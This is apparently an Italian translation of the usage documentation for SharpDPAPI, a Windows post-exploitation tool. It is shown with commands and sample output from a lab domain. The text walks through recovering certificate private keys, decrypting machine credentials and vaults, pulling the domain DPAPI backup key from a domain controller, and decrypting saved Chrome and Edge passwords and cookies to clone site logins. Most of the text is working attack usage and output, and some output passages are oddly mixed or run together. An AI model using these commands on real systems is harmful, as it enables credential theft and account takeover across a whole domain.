v1.10.0
[*] Action: Certificate Triage
Folder : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104
File : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0
Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {dab90445-0a08-4b27-9110-b75d4a7894d0}
Description : CryptoAPI Private Key
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
Salt : ef98458bca7135fe1bb89b3715180ae6
HMAC : 5c3c3da2a4f6548a0186c22f86d7bc85
Unique Name : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1daThumbprint : 98A03BC583861DCC19045758C0E0C05162091B6C
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=harmj0y
Valid Date : 2/22/2021 2:19:02 PM
Expiry Date : 2/22/2022 2:19:02 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
Secure Email (1.3.6.1.5.5.7.3.4)
Encrypting File System (1.3.6.1.4.1.311.10.3.4)
[*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----
Utilizzo di /unprotect per decifrare eventuali certificati utente trovati:
C:\Temp> SharpDPAPI.exe certificates /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.11.3
[*] Action: Certificate Triage
[*] Using CryptUnprotectData() for decryption.
Folder : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104
File : f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b
Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {27db0044-e2aa-4ea2-b2c0-c469e9b29ed9}
Description : Private Key
algCrypt : CALG_AES_256 (keyLen 256)
algHash : CALG_SHA_512 (32782)
Salt : d7e1e00ed8a6249b5f05c487154e83cc0b51f71131530d0d46d3bfc63d890468
HMAC : 4869f296cdcc964262a57e2efc4f2c5df57c2ed7319e297daa2107810da5c171
Unique Name : {4A07001C-57BE-4E8B-86D1-43CACDF8D448}
Thumbprint : BBD9B90FE1A4E37BD646CBC922ABE06C24C1E725
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=harmj0y
Valid Date : 10/18/2022 11:40:07 AM
Expiry Date : 10/18/2023 12:00:07 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
Server Authentication (1.3.6.1.5.5.7.3.1)
[*] Private key file f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b was recovered:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxVEW49fMt...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDKjCCAhKgAwIBAgIQYwhUr...(snip)...
-----END CERTIFICATE-----
Utilizzo di una chiave di backup DPAPI di dominio per decifrare prima eventuali masterkey individuabili:
C:\Temp>SharpDPAPI.exe certificates /pvk:HvG1sAAAAAABAAAAAAAAAAAAAACU...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] Action: Certificate Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB51371...(snip)...
Folder : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104
File : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0
Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {dab90445-0a08-4b27-9110-b75d4a7894d0}
Description : CryptoAPI Private Key
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
Salt : ef98458bca7135fe1bb89b3715180ae6
HMAC : 5c3c3da2a4f6548a0186c22f86d7bc85
Unique Name : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da
Thumbprint : 98A03BC583861DCC19045758C0E0C05162091B6C
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=harmj0y
Valid Date : 2/22/2021 2:19:02 PM
Expiry Date : 2/22/2022 2:19:02 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
Secure Email (1.3.6.1.5.5.7.3.4)
Encrypting File System (1.3.6.1.4.1.311.10.3.4)
[*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----
Il comando triage esegue i comandi utente credentials, vaults, rdg e certificates.
Il comando machinemasterkeys si eleva a SYSTEM per recuperare il segreto LSA DPAPI_SYSTEM, che viene poi utilizzato per decifrare eventuali masterkey DPAPI della macchina trovate. Restituirà un insieme di mapping masterkey {GUID}:SHA1.
Sono necessari diritti amministrativi locali (per recuperare il segreto LSA DPAPI_SYSTEM).
C:\Temp>SharpDPAPI.exe machinemasterkeys
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: Machine DPAPI Masterkey File Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()
[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] SYSTEM master key cache:
{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...
Il comando machinecredentials si eleva a SYSTEM per recuperare il segreto LSA DPAPI_SYSTEM, che viene poi utilizzato per decifrare eventuali masterkey DPAPI della macchina trovate. Queste chiavi vengono quindi utilizzate per decifrare eventuali file Credential della macchina trovati.
Sono necessari diritti amministrativi locali (per recuperare il segreto LSA DPAPI_SYSTEM).
C:\Temp>SharpDPAPI.exe machinecredentials
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: Machine DPAPI Credential Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()
[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] SYSTEM master key cache:
{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...
[*] Triaging System Credentials
Folder : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials
CredFile : C73A55F92FAE222C18A8989FEA28A1FE
guidMasterKey : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}
size : 544
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782/26128
description : Local Credential Data
LastWritten : 3/24/2019 7:08:43 PM
TargetName : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}
TargetAlias :
Comment :
UserName : TESTLAB\harmj0y
Credential : Password123!
Folder : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials
CredFile : DFBE70A7E5CC19A398EBF1B96859CE5D
...(snip)...
Il comando machinevaults si eleva a SYSTEM per recuperare il segreto LSA DPAPI_SYSTEM, che viene poi utilizzato per decifrare eventuali masterkey DPAPI della macchina trovate. Queste chiavi vengono quindi utilizzate per decifrare eventuali Vault della macchina trovati.
Sono necessari diritti amministrativi locali (per recuperare il segreto LSA DPAPI_SYSTEM).
C:\Temp>SharpDPAPI.exe machinevaults
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: Machine DPAPI Vault Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()
[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] SYSTEM master key cache:
{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...
[*] Triaging SYSTEM Vaults
[*] Triaging Vault folder: C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {0bd732d9-c396-4f9a-a69a-508632c05235}
size : 324
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782/26128
description :
aes128 key : 74CE3D7BCC4D0C4734931041F6D00D09
aes256 key : B497F57730A2F29C3533B76BD6B33EEA231C1F51ED933E0CA1210B9E3A16D081
...(snip)...
Il comando certificates /machine utilizza l'archivio certificati della macchina per cercare chiavi private dei certificati macchina decifrabili. /mkfile:X e {GUID}:masterkey sono utilizzabili con il comando /target:\[file|folder\], altrimenti SharpDPAPI si eleva a SYSTEM per recuperare il segreto LSA DPAPI_SYSTEM, che viene poi utilizzato per decifrare eventuali masterkey DPAPI della macchina trovate. Queste chiavi vengono quindi utilizzate per decifrare eventuali chiavi private dei certificati DPAPI crittografati di sistema della macchina.
Per impostazione predefinita, vengono visualizzate solo le chiavi private collegabili a un certificato installato associato. Il comando /showall mostrerà TUTTE le chiavi private decifrate.
Sono necessari diritti amministrativi locali (per recuperare il segreto LSA DPAPI_SYSTEM).
C:\Temp>SharpDPAPI.exe certificates /machine
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] Action: Certificate Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()
[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] SYSTEM master key cache:
{f12f57e1-dd41-4daa-88f1-37a64034c7e9}:3AEB121ECF2...(snip)...
[*] Triaging System Certificates
Folder : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys
File : 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0
Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {f12f57e1-dd41-4daa-88f1-37a64034c7e9}
Description : CryptoAPI Private Key
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
Salt : aa8c9e4849455660fc5fc96589f3e40e
HMAC : 9138559ef30fbd70808dca2c1ed02a29
Unique Name : te-Machine-50500b00-fddb-4a0d-8aa6-d73404473650
Thumbprint : A82ED8207DF6BC16BB65BF6A91E582263E217A4A
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=dev.theshire.local
Valid Date : 2/22/2021 3:50:43 PM
Expiry Date : 2/22/2022 3:50:43 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
Server Authentication (1.3.6.1.5.5.7.3.1)
[*] Private key file 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzRX2ipgM1t9Et4KoP...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgITVQAAAJqDK8j15...(snip)...
-----END CERTIFICATE-----
Il comando machinetriage esegue i comandi machinecredentials, machinevaults e certificates /machine.
Il comando ps descrive/decifra un PSCredential clixml esportato. È obbligatorio specificare /target:FILE.xml.
Il comando può a) decifrare il file con qualsiasi masterkey "{GUID}:SHA1" passata, b) un /mkfile:FILE di uno o più mapping di masterkey {GUID}:SHA1, c) utilizzare una chiave di backup DPAPI di dominio fornita (/pvk:BASE64... o /pvk:key.pvk) per decifrare prima eventuali masterkey utente (alla maniera di masterkeys), o d) una /password:X per decifrare eventuali masterkey utente, che vengono poi utilizzate come tabella di decifratura. I mapping GUID DPAPI possono essere recuperati con il comando sekurlsa::dpapi di Mimikatz.
Il flag /unprotect utilizza CryptUnprotectData() per decifrare il file .xml delle credenziali senza bisogno di masterkey, se il comando viene eseguito dal contesto utente che ha salvato le password. Questo può essere fatto da un contesto non privilegiato, senza la necessità di toccare LSASS. Per capire perché questo approccio non viene utilizzato per credenziali/vault, consulta la documentazione di Benjamin qui.
Decifrare un file .xml di credenziali esportato utilizzando CryptProtectData() (il flag /unprotect):
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Action: Describe PSCredential .xml
CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 11:53:09 AM
Modified : 7/25/2019 11:53:09 AM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!
Utilizzo dei mapping di masterkey {GUID}:SHA1 di dominio:
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml "{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3"
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Action: Describe PSCredential .xml
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 12:04:12 PM
Modified : 7/25/2019 12:04:12 PM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!
Utilizzo di una chiave di backup DPAPI di dominio per decifrare prima eventuali masterkey individuabili:
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Action: Describe PSCredential .xml
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 12:04:12 PM
Modified : 7/25/2019 12:04:12 PM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!
Il comando blob descrive/decifra un blob DPAPI. È obbligatorio specificare /target:<BASE64|blob.bin>.
Il comando può a) decifrare il blob con qualsiasi masterkey "{GUID}:SHA1" passata, b) un /mkfile:FILE di uno o più mapping di masterkey {GUID}:SHA1, c) utilizzare una chiave di backup DPAPI di dominio fornita (/pvk:BASE64... o /pvk:key.pvk) per decifrare prima eventuali masterkey utente (alla maniera di masterkeys), o d) una /password:X per decifrare eventuali masterkey utente, che vengono poi utilizzate come tabella di decifratura. I mapping GUID DPAPI possono essere recuperati con il comando sekurlsa::dpapi di Mimikatz.
Il flag /unprotect utilizza CryptUnprotectData() per decifrare il blob senza bisogno di masterkey, se il comando viene eseguito dal contesto utente che ha salvato le password. Questo può essere fatto da un contesto non privilegiato, senza la necessità di toccare LSASS. Per capire perché questo approccio non viene utilizzato per credenziali/vault, consulta la documentazione di Benjamin qui.
Decifrare un blob utilizzando CryptProtectData() (il flag /unprotect):
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Action: Describe DPAPI blob
[*] Using CryptUnprotectData() for decryption.
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : Password123!
Utilizzo dei mapping di masterkey {GUID}:SHA1 di dominio:
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Azione: Descrivi blob DPAPI
[*] Utilizzo di CryptUnprotectData() per la decifratura.
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 314
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...
Utilizzando una chiave di backup DPAPI del dominio per decifrare prima eventuali masterkey individuabili:
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Azione: Descrivi blob DPAPI
[*] Utilizzo di una chiave di backup DPAPI del dominio per esaminare le masterkey per le corrispondenze delle chiavi di decifratura!
[*] Cache delle masterkey utente:
{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 314
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...
Il comando backupkey recupererà la chiave di backup DPAPI del dominio da un controller di dominio utilizzando l'approccio API LsaRetrievePrivateData da Mimikatz. Questa chiave privata può quindi essere utilizzata per decifrare i blob delle master key per qualsiasi utente del dominio. E ancora meglio, la chiave non cambia mai ;)
Sono necessari diritti di amministratore di dominio (o equivalenti) per recuperare la chiave da un controller di dominio remoto.
Il flag /nowrap impedirà di avvolgere la chiave base64 durante la visualizzazione.
Questo blob di chiave base64 può essere decodificato in un file binario .pvk che può quindi essere utilizzato con il modulo dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk di Mimikatz, oppure utilizzato nella forma blob/file /pvk:X con i comandi SharpDPAPI masterkeys, credentials o vault.
Per impostazione predefinita, SharpDPAPI tenterà di determinare il controller di dominio corrente tramite la chiamata API DsGetDcName. È possibile specificare un server con /server:COMPUTER.domain.com. Se si desidera salvare la chiave su disco invece di visualizzarla come blob base64, utilizzare /file:key.pvk.
Recupera la chiave di backup DPAPI per il controller di dominio corrente:
C:\Temp>SharpDPAPI.exe backupkey
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Azione: Recupera chiave di backup DPAPI del dominio
[*] Utilizzo del controller di dominio corrente: PRIMARY.testlab.local
[*] Guid backupkey preferito : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Nome backupKeyName completo preferito : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Key :
HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(snip)...
Recupera la chiave di backup DPAPI per il DC specificato, scrivendo la chiave di backup in un file:
C:\Temp>SharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Azione: Recupera chiave di backup DPAPI del dominio
[*] Utilizzo del server : primary.testlab.local
[*] Guid backupkey preferito : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Nome backupKeyName completo preferito : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Chiave di backup scritta su : key.pvk
Il comando search cercherà potenziali blob DPAPI nel registro, file, cartelle e blob base64. Utilizzo:``` SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors] SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] SharpDPAPI.exe search /type:file /path:C:\path\to\file [/maxBytes:] SharpDPAPI.exe search /type:base64 [/base:]
Il comando `search` funziona cercando i seguenti byte, che rappresentano l'intestazione (Versione + GUID del provider DPAPI) della struttura del blob DPAPI:```
0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB
Il comando search ha diversi argomenti a seconda del tipo di dati da analizzare. Per designare il tipo di dati, usa l'argomento /type specificando registry, folder, file o base64. Se l'argomento /type non è presente, il comando cercherà nel registro per impostazione predefinita.
Quando si cerca nel registro senza altri argomenti, il comando cercherà ricorsivamente gli hive HKEY_LOCAL_MACHINE e HKEY_USERS. Usa il parametro /path per specificare una radice da cui cercare (ad es. /path:HKLM\Software) e usa l'argomento /showErrors per visualizzare gli errori che si verificano durante l'enumerazione.
Quando si cerca un file o una cartella, specifica un percorso con /path:C:\Path\to\file\or\folder e opzionalmente usa /maxBytes:<int> per specificare il numero di byte da leggere da ogni file (default: 1024 byte). Il comando leggerà i byte dall'inizio del file e cercherà blob DPAPI. Usa /showErrors per visualizzare eventuali errori che si verificano durante l'enumerazione.
Quando si cerca un blob base64, specifica i byte codificati in base64 da analizzare con il parametro /base64:<base64 str>.
Se in esecuzione con privilegi elevati su una macchina che è un client SCCM, se l'ambiente SCCM è configurato con un Network Access Account (NAA), i blob DPAPI protetti da master key di sistema contenenti le credenziali NAA possono essere recuperati tramite WMI; Il comando SCCM interrogherà i blob tramite WMI, recupererà le master key di sistema e decripterà i blob.
Il comando logins cercherà i file 'Login Data' di Chrome e decripterà le password di accesso salvate. Se l'esecuzione avviene in un contesto non elevato, CryptProtectData() verrà automaticamente utilizzato per tentare di decriptare i valori. Se viene specificato /browser:edge, viene esaminato il nuovo browser Edge basato su Chromium.
I file Login Data possono anche essere decriptati con a) qualsiasi masterkey "{GUID}:SHA1 {GUID}:SHA1 ..." passate, b) un /mkfile:FILE con uno o più mapping di masterkey {GUID}:SHA1, c) una chiave di backup DPAPI del dominio fornita (/pvk:BASE64... o /pvk:key.pvk) per decriptare prima qualsiasi masterkey utente, o d) una /password:X per decriptare qualsiasi masterkey utente, che vengono poi utilizzate come tabella di decrittazione di ricerca. I mapping GUID DPAPI possono essere recuperati con il comando sekurlsa::dpapi di Mimikatz.
Un file Login Data specifico può essere specificato con /target:FILE. È possibile specificare un /server:SERVER remoto se viene fornito anche un /pvk o /password. Se si esaminano istanze più recenti di Chrome/Edge, è possibile specificare una chiave di stato AES /statekey:X.
Per impostazione predefinita, gli accessi vengono visualizzati in formato csv. Questo può essere modificato con /format:table per un output tabellare. Inoltre, per impostazione predefinita vengono visualizzate solo le voci con valore password non nullo, ma tutti i valori possono essere visualizzati con /showall.
Se eseguito da un contesto elevato, verranno esaminati i file Login Data di TUTTI gli utenti, altrimenti verranno elaborati solo i file Login Data dell'utente corrente.
Il comando cookies cercherà i file 'Cookies' di Chromium e decripterà i valori dei cookie. Se l'esecuzione avviene in un contesto non elevato, CryptProtectData() verrà automaticamente utilizzato per tentare di decriptare i valori. Puoi cambiare l'applicazione di destinazione usando /browser:<VALUE> (ad es., edge, brave, slack).
I file Cookie possono anche essere decriptati con a) qualsiasi masterkey "{GUID}:SHA1 {GUID}:SHA1 ..." passate, b) un /mkfile:FILE con uno o più mapping di masterkey {GUID}:SHA1, c) una chiave di backup DPAPI del dominio fornita (/pvk:BASE64... o /pvk:key.pvk) per decriptare prima qualsiasi masterkey utente, o d) una /password:X per decriptare qualsiasi masterkey utente, che vengono poi utilizzate come tabella di decrittazione di ricerca. I mapping GUID DPAPI possono essere recuperati con il comando sekurlsa::dpapi di Mimikatz.
Un file Cookies specifico può essere specificato con /target:FILE. È possibile specificare un /server:SERVER remoto se viene fornito anche un /pvk o /password. Se si esaminano istanze più recenti di Chrome/Edge, è possibile specificare una chiave di stato AES /statekey:X.
Per impostazione predefinita, i cookie vengono visualizzati in formato csv. Questo può essere modificato con /format:table per un output tabellare, o /format:json per un output importabile da EditThisCookie. Inoltre, per impostazione predefinita vengono visualizzate solo le voci di cookie non scaduti, ma tutti i valori possono essere visualizzati con /showall.
Se eseguito da un contesto elevato, verranno esaminati i file Cookie di TUTTI gli utenti, altrimenti verranno elaborati solo i file Cookie dell'utente corrente.
Il comando cookies ha anche gli argomenti /cookie:REGEX e /url:REGEX per restituire solo i nomi dei cookie o gli URL che corrispondono all'espressione regolare fornita. Ciò è utile con /format:json per clonare facilmente l'accesso a siti specifici.
Per impostazione predefinita, il comando statekeys cercherà le applicazioni basate su Chromium (Google Chrome, Edge, Brave e Slack), individuerà i loro file AES statekey (ad es., 'AppData\Local\Google\Chrome\User Data\Local State' e 'AppData\Local\Microsoft\Edge\User Data\Local State') e li decripterà utilizzando lo stesso tipo di argomenti che possono essere forniti per cookies e logins. Puoi anche fornire il percorso di un file state-key specifico usando il parametro /target: (ad es., "/target:C:\Users\Test\appdata\Local\Google\Chrome\User Data\Local State").
Le chiavi di stato possono anche essere decriptate con a) qualsiasi masterkey "{GUID}:SHA1 {GUID}:SHA1 ..." passate, b) un /mkfile:FILE con uno o più mapping di masterkey {GUID}:SHA1, c) una chiave di backup DPAPI del dominio fornita (/pvk:BASE64... o /pvk:key.pvk) per decriptare prima qualsiasi masterkey utente, o d) una /password:X per decriptare qualsiasi masterkey utente, che vengono poi utilizzate come tabella di decrittazione di ricerca. I mapping GUID DPAPI possono essere recuperati con il comando sekurlsa::dpapi di Mimikatz.
Se eseguito da un contesto elevato, verranno esaminate le chiavi di stato di TUTTI gli utenti, altrimenti verranno elaborate solo le chiavi di stato dell'utente corrente.
Il comando backupkey recupererà la chiave di backup DPAPI del dominio da un controller di dominio utilizzando l'approccio API LsaRetrievePrivateData da Mimikatz. Questa chiave privata può quindi essere utilizzata per decriptare i blob delle master key per qualsiasi utente del dominio. E ancora meglio, la chiave non cambia mai ;)
Sono necessari diritti di amministratore di dominio (o equivalenti) per recuperare la chiave da un controller di dominio remoto.
Il flag /nowrap impedirà il wrapping della chiave base64 durante la visualizzazione.
